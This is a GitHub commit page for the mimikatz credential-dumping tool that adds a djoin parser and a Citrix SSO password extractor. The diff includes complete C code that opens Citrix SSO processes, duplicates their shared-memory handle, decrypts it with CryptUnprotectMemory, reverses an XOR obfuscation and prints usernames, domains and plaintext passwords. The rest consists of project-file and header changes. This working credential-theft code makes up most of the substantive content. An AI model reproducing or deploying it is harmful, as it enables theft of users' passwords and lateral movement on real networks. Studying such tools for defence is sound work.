Skip to content

Commit

Permalink
[legacy] Backport djoin parser & citrix SSO password extractor
Browse files Browse the repository at this point in the history
  • Loading branch information
gentilkiwi committed Sep 19, 2022
1 parent a227123 commit 746e211
Show file tree
Hide file tree
Showing 14 changed files with 1,188 additions and 10 deletions.
15 changes: 15 additions & 0 deletions inc/globals.h
Original file line number Diff line number Diff line change
Expand Up @@ -129,3 +129,18 @@ DWORD MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NU
#define KULL_M_WIN_MIN_BUILD_BLUE 9400
#define KULL_M_WIN_MIN_BUILD_10 9800
#define KULL_M_WIN_MIN_BUILD_11 22000

/* mimikatz 3 transition */
#define GET_CLI_ARG(name, var) (kull_m_string_args_byName(argc, argv, name, var, NULL))
#define GET_CLI_ARG_DEF(name, var, def) (kull_m_string_args_byName(argc, argv, name, var, def))
#define GET_CLI_ARG_PRESENT(name) (kull_m_string_args_byName(argc, argv, name, NULL, NULL))

#define kprintf_level(subject, ...) kprintf(L"%*s" subject, level << 1, L"", __VA_ARGS__)

#define kprinthex(lpData, cbData) kull_m_string_wprintf_hex(lpData, (DWORD) cbData, 0); kprintf(L"\n")
#define kprinthex16(lpData, cbData) kull_m_string_wprintf_hex(lpData, (DWORD) cbData, 1 | (16 << 16)); kprintf(L"\n")

#define kull_m_cli_guid(pGuid, bNewLine) kull_m_string_displayGUID(pGuid); if(bNewLine) kprintf(L"\n")
#define kull_m_cli_sid(pSid, bNewLine) kull_m_string_displaySID(pSid); if(bNewLine) kprintf(L"\n")

#define kull_m_crypto_Base64StringToBinary kull_m_string_quick_base64_to_Binary
6 changes: 6 additions & 0 deletions mimikatz/mimikatz.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -153,6 +153,7 @@
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-drsr_c.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-efsr_c.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-nrpc_c.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-odj.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-pac.c" />
<ClCompile Include="..\modules\kull_m_service.c" />
<ClCompile Include="..\modules\kull_m_string.c" />
Expand Down Expand Up @@ -213,6 +214,8 @@
<ClCompile Include="modules\kuhl_m_vault.c" />
<ClCompile Include="modules\kuhl_m_minesweeper.c" />
<ClCompile Include="modules\lsadump\kuhl_m_lsadump_dc.c" />
<ClCompile Include="modules\misc\kuhl_m_misc_citrix.c" />
<ClCompile Include="modules\misc\kuhl_m_misc_djoin.c" />
<ClCompile Include="modules\ngc\kuhl_m_ngc.c" />
<ClCompile Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.c" />
<ClCompile Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c" />
Expand Down Expand Up @@ -273,6 +276,7 @@
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-bkrp.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-efsr.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-nrpc.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-odj.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-pac.h" />
<ClInclude Include="..\modules\kull_m_samlib.h" />
<ClInclude Include="..\modules\kull_m_service.h" />
Expand Down Expand Up @@ -331,6 +335,8 @@
<ClInclude Include="modules\kuhl_m_vault.h" />
<ClInclude Include="modules\kuhl_m_minesweeper.h" />
<ClInclude Include="modules\lsadump\kuhl_m_lsadump_dc.h" />
<ClInclude Include="modules\misc\kuhl_m_misc_citrix.h" />
<ClInclude Include="modules\misc\kuhl_m_misc_djoin.h" />
<ClInclude Include="modules\ngc\kuhl_m_ngc.h" />
<ClInclude Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.h" />
<ClInclude Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.h" />
Expand Down
21 changes: 21 additions & 0 deletions mimikatz/mimikatz.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -332,6 +332,15 @@
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_citrix.c">
<Filter>local modules\dpapi\packages</Filter>
</ClCompile>
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-odj.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
<ClCompile Include="modules\misc\kuhl_m_misc_djoin.c">
<Filter>local modules\misc</Filter>
</ClCompile>
<ClCompile Include="modules\misc\kuhl_m_misc_citrix.c">
<Filter>local modules\misc</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="mimikatz.h" />
Expand Down Expand Up @@ -683,6 +692,15 @@
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_citrix.h">
<Filter>local modules\dpapi\packages</Filter>
</ClInclude>
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-odj.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
<ClInclude Include="modules\misc\kuhl_m_misc_djoin.h">
<Filter>local modules\misc</Filter>
</ClInclude>
<ClInclude Include="modules\misc\kuhl_m_misc_citrix.h">
<Filter>local modules\misc</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="local modules">
Expand Down Expand Up @@ -723,6 +741,9 @@
<Filter Include="local modules\ngc">
<UniqueIdentifier>{5880e511-0496-4c66-95c3-39c70baac28b}</UniqueIdentifier>
</Filter>
<Filter Include="local modules\misc">
<UniqueIdentifier>{ca3b8b78-3db9-40c8-8091-438a90e5be4e}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="mimikatz.rc" />
Expand Down
18 changes: 16 additions & 2 deletions mimikatz/modules/kuhl_m_misc.c
Original file line number Diff line number Diff line change
Expand Up @@ -30,8 +30,10 @@ const KUHL_M_C kuhl_m_c_misc[] = {
{kuhl_m_misc_spooler, L"spooler", NULL},
{kuhl_m_misc_efs, L"efs", NULL},
{kuhl_m_misc_printnightmare, L"printnightmare", NULL},
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
{kuhl_m_misc_djoin_proxy, L"djoin", NULL},
{kuhl_m_misc_citrix_proxy, L"citrix", NULL},
};
const KUHL_M kuhl_m_misc = {
L"misc", L"Miscellaneous module", NULL,
Expand Down Expand Up @@ -2183,5 +2185,17 @@ NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[])
}
else PRINT_ERROR(L"NtOpenDirectoryObject: 0x%08x\n", status);

return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_misc_djoin_proxy(int argc, wchar_t * argv[])
{
kuhl_m_misc_djoin(argc, argv);
return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_misc_citrix_proxy(int argc, wchar_t * argv[])
{
kuhl_m_misc_citrix_logonpasswords(argc, argv);
return STATUS_SUCCESS;
}
4 changes: 4 additions & 0 deletions mimikatz/modules/kuhl_m_misc.h
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,8 @@
#include <sqlext.h>
#pragma warning(pop)
#include <sqltypes.h>
#include "misc/kuhl_m_misc_djoin.h"
#include "misc/kuhl_m_misc_citrix.h"

const KUHL_M kuhl_m_misc;

Expand Down Expand Up @@ -50,6 +52,8 @@ NTSTATUS kuhl_m_misc_efs(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_djoin_proxy(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_citrix_proxy(int argc, wchar_t * argv[]);

BOOL kuhl_m_misc_printnightmare_normalize_library(BOOL bIsPar, LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary);
BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64, BOOL bIsDynamic, LPCWSTR szForce, BOOL bIsPar, handle_t hRemoteBinding);
Expand Down
168 changes: 168 additions & 0 deletions mimikatz/modules/misc/kuhl_m_misc_citrix.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,168 @@
/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_misc_citrix.h"

void kuhl_m_misc_citrix_logonpasswords(int argc, wchar_t* argv[])
{
UNREFERENCED_PARAMETER(argc);
UNREFERENCED_PARAMETER(argv);

kull_m_process_getProcessInformation(Citrix_Each_SSO_Program, NULL);
}

DECLARE_CONST_UNICODE_STRING(_U_ssonsvr, L"ssonsvr.exe");
DECLARE_CONST_UNICODE_STRING(_U_wfcrun32, L"wfcrun32.exe");
DECLARE_CONST_UNICODE_STRING(_U_AuthManSvr, L"AuthManSvr.exe");
const PCUNICODE_STRING _U_CITRIX_SSO_PROGRAMS[] = { &_U_ssonsvr , &_U_wfcrun32 , &_U_AuthManSvr };
BOOL CALLBACK Citrix_Each_SSO_Program(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
{
DWORD i, ProcessId;
HANDLE hProcess;
//PKULL_M_MEMORY_HANDLE hMemory;
//KULL_M_MEMORY_ADDRESS aMemory = { NULL, &hMemory };
RTL_USER_PROCESS_PARAMETERS UserProcessParameters;
KULL_M_MEMORY_ADDRESS aRemote = {NULL, NULL}, aBuffer = {&UserProcessParameters, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
PEB Peb;


UNREFERENCED_PARAMETER(pvArg);

for (i = 0; i < ARRAYSIZE(_U_CITRIX_SSO_PROGRAMS); i++)
{
if (RtlEqualUnicodeString(_U_CITRIX_SSO_PROGRAMS[i], &pSystemProcessInformation->ImageName, TRUE))
{
ProcessId = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
kprintf(L"\n* %wZ -- pid: %u\n", &pSystemProcessInformation->ImageName, ProcessId);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_DUP_HANDLE, FALSE, ProcessId);
if(hProcess)
{
if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aRemote.hMemory))
{
if (kull_m_process_peb(aRemote.hMemory, &Peb, FALSE))
{
aRemote.address = Peb.ProcessParameters;
if (kull_m_memory_copy(&aBuffer, &aRemote, sizeof(UserProcessParameters)))
{
aRemote.address = UserProcessParameters.CommandLine.Buffer;
UserProcessParameters.CommandLine.Buffer = LocalAlloc(LPTR, UserProcessParameters.CommandLine.MaximumLength);
aBuffer.address = UserProcessParameters.CommandLine.Buffer;

if(UserProcessParameters.CommandLine.Buffer)
{
if (kull_m_memory_copy(&aBuffer, &aRemote, UserProcessParameters.CommandLine.MaximumLength))
{
Citrix_SSO_Program_args(aRemote.hMemory->pHandleProcess->hProcess, &UserProcessParameters.CommandLine);
}
LocalFree(UserProcessParameters.CommandLine.Buffer);
}
}
}
kull_m_memory_close(aRemote.hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");

break;
}
}

return TRUE;
}

void Citrix_SSO_Program_args(HANDLE hRemoteProcess, PCUNICODE_STRING puCommandLine)
{
int i, argc;
LPWSTR* argv;
HANDLE hRemoteFileMapping = NULL;

argv = CommandLineToArgvW(puCommandLine->Buffer, &argc);
if (argv)
{
if (argc > 0)
{
for (i = 0; i < argc; i++)
{
if (_wcsnicmp(argv[i], L"/HTC:", 5) == 0)
{
hRemoteFileMapping = (HANDLE)(ULONG_PTR)wcstoul(argv[i] + 5, NULL, 10);
Citrix_SSO_Program_FileMapping(hRemoteProcess, hRemoteFileMapping);

break;
}
}

if (!hRemoteFileMapping)
{
kprintf(L" No shared memory (no SSO enabled?)\n");
}
}
else PRINT_ERROR(L"No command/module?");

LocalFree(argv);
}
else PRINT_ERROR_AUTO(L"CommandLineToArgvW");
}

void Citrix_SSO_Program_FileMapping(HANDLE hRemoteProcess, HANDLE hRemoteFileMapping)
{
HANDLE hFileMapping;
PCITRIX_PACKED_CREDENTIALS pCitrixPackedCredentials;
PCITRIX_CREDENTIALS pCitrixCredentials;

if (DuplicateHandle(hRemoteProcess, hRemoteFileMapping, GetCurrentProcess(), &hFileMapping, FILE_MAP_READ, FALSE, 0))
{
pCitrixPackedCredentials = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, sizeof(CITRIX_PACKED_CREDENTIALS));
if (pCitrixPackedCredentials)
{
//kprintf(L"cbStruct: 0x%08x - ref: 0x%08x\ncbData : 0x%08x - ref: 0x%08x\ndwFlags : 0x%08x\n", pCitrixPackedCredentials->cbStruct, sizeof(CITRIX_PACKED_CREDENTIALS), pCitrixPackedCredentials->cbData, sizeof(CITRIX_CREDENTIALS), pCitrixPackedCredentials->dwFlags);
pCitrixCredentials = LocalAlloc(LPTR, sizeof(pCitrixPackedCredentials->Data));
if (pCitrixCredentials)
{
RtlCopyMemory(pCitrixCredentials, pCitrixPackedCredentials->Data, sizeof(pCitrixPackedCredentials->Data));
if (CryptUnprotectMemory(pCitrixCredentials, sizeof(pCitrixPackedCredentials->Data), CRYPTPROTECTMEMORY_CROSS_PROCESS))
{
CitrixPasswordDesobfuscate((PBYTE)pCitrixCredentials->password, pCitrixCredentials->cbPassword);
kprintf(L"| Username : %s\n| Domain : %s\n| Password : %.*s\n| flags/type: 0x%08x\n", pCitrixCredentials->username, pCitrixCredentials->domain, pCitrixCredentials->cbPassword, pCitrixCredentials->password, pCitrixCredentials->dwFlags);
}
else PRINT_ERROR_AUTO(L"CryptUnprotectMemory");

LocalFree(pCitrixCredentials);
}

UnmapViewOfFile(pCitrixPackedCredentials);
}
else PRINT_ERROR_AUTO(L"MapViewOfFile");

CloseHandle(hFileMapping);
}
else PRINT_ERROR_AUTO(L"DuplicateHandle");
}

void CitrixPasswordObfuscate(PBYTE pbData, DWORD cbData)
{
DWORD i;
BYTE prec;

for (i = 0, prec = 0x00; i < cbData; i++)
{
pbData[i] ^= prec ^ 'C';
prec = pbData[i];
}
}

void CitrixPasswordDesobfuscate(PBYTE pbData, DWORD cbData)
{
DWORD i;
BYTE prec, sprec;

for (i = 0, prec = 0x00; i < cbData; i++)
{
sprec = pbData[i];
pbData[i] ^= prec ^ 'C';
prec = sprec;
}
}
37 changes: 37 additions & 0 deletions mimikatz/modules/misc/kuhl_m_misc_citrix.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once
#include "../kuhl_m_misc.h"
#include "../../../modules/kull_m_memory.h"
#include "../../../modules/kull_m_process.h"

extern const KUHL_M kuhl_m_misc_citrix;

#pragma pack(push, 4)
typedef struct _CITRIX_CREDENTIALS {
wchar_t username[0x100];
wchar_t domain[0x100];
DWORD cbPassword;
wchar_t password[0x100];
DWORD dwFlags; // type ?
} CITRIX_CREDENTIALS, * PCITRIX_CREDENTIALS;

typedef struct _CITRIX_PACKED_CREDENTIALS {
DWORD cbStruct;
DWORD cbData;
DWORD dwFlags;
BYTE Data[SIZE_ALIGN(sizeof(CITRIX_CREDENTIALS), CRYPTPROTECTMEMORY_BLOCK_SIZE)];
} CITRIX_PACKED_CREDENTIALS, * PCITRIX_PACKED_CREDENTIALS;
#pragma pack(pop)

void kuhl_m_misc_citrix_logonpasswords(int argc, wchar_t* argv[]);

BOOL CALLBACK Citrix_Each_SSO_Program(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg);
void Citrix_SSO_Program_args(HANDLE hRemoteProcess, PCUNICODE_STRING puCommandLine);
void Citrix_SSO_Program_FileMapping(HANDLE hRemoteProcess, HANDLE hRemoteFileMapping);

void CitrixPasswordObfuscate(PBYTE pbData, DWORD cbData);
void CitrixPasswordDesobfuscate(PBYTE pbData, DWORD cbData);
Loading

0 comments on commit 746e211

Please sign in to comment.